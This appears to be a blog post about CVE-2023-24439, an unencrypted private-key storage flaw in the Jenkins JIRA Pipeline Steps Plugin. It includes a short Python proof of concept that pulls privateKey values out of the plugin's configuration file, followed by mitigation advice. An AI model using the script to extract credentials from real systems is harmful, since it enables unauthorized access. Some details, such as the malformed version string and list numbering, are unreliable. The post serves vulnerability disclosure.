CVE-2023-24439: Unencrypted Private Keys Vulnerability in Jenkins JIRA Pipeline Steps Plugin

A critical vulnerability, CVE-2023-24439, has been identified in the Jenkins JIRA Pipeline Steps Plugin version 2..165.v8846cf59f3db and earlier. This vulnerability allows unauthorized users to access unencrypted private keys that are stored within the plugin's global configuration file on the Jenkins controller. This security issue can potentially lead to unintended exposure of sensitive information and unauthorized access to JIRA instances.

In this post, we will discuss the details of the vulnerability, demonstrate how to exploit it through a code snippet, list out the affected versions, and provide steps to mitigate the issue.

Vulnerability Details

The vulnerability exists because Jenkins JIRA Pipeline Steps Plugin stores the private keys required for authentication in the global configuration file unencrypted. This can lead to unauthorized users with access to the Jenkins controller file system obtaining and misusing these private keys.

Exploitation

To exploit this vulnerability, an attacker needs to gain access to the Jenkins controller file system, which may require other attack vectors. Once access is obtained, the attacker can read the global configuration file and extract the private keys.

Here is a simple Python code snippet to demonstrate the exploit

import os

def extract_private_keys(file_path):
    private_keys = []

    with open(file_path, 'r') as file:
        lines = file.readlines()
        for line in lines:
            if '<privateKey>' in line:
                start = line.find('<privateKey>') + len('<privateKey>')
                end = line.find('</privateKey>')
                private_key = line[start:end]
                private_keys.append(private_key)
    
    return private_keys

jenkins_config_file = "/path/to/jenkins/plugin/config/file.xml"
unencrypted_private_keys = extract_private_keys(jenkins_config_file)

print("Unencrypted private keys:")
for key in unencrypted_private_keys:
    print(key)

Replace "/path/to/jenkins/plugin/config/file.xml" with the actual path to the Jenkins JIRA Pipeline Steps Plugin global configuration file.

Mitigation Steps

The first step to mitigate this vulnerability is to update the plugin to the latest version as soon as it is available from the Jenkins plugin manager. The Jenkins security team is currently working on a fix for this issue.

Restrict access to the Jenkins controller file system to only authorized users.

2. Continuously monitor the system for any unauthorized access attempts or suspicious activities and take necessary actions to fix them.

3. Regularly review and update your organization's cybersecurity policies and procedures, including user access control, data protection, and incident response plan.

Conclusion

CVE-2023-24439 is a critical vulnerability discovered in Jenkins JIRA Pipeline Steps Plugin that can lead to unauthorized users accessing unencrypted private keys stored in the global configuration file. It is crucial to take immediate actions to minimize the risk associated with this issue.

For further details on this vulnerability, refer to the original advisory announcement and CVE page

- Jenkins Advisory Announcement
- CVE-2023-24439 details

Protecting sensitive information and ensuring authorized user access should be a top priority for organizations. Stay vigilant, and always monitor your systems and applications for security vulnerabilities.

Timeline

Published on: 01/26/2023 21:18:00 UTC
Last modified on: 02/04/2023 02:07:00 UTC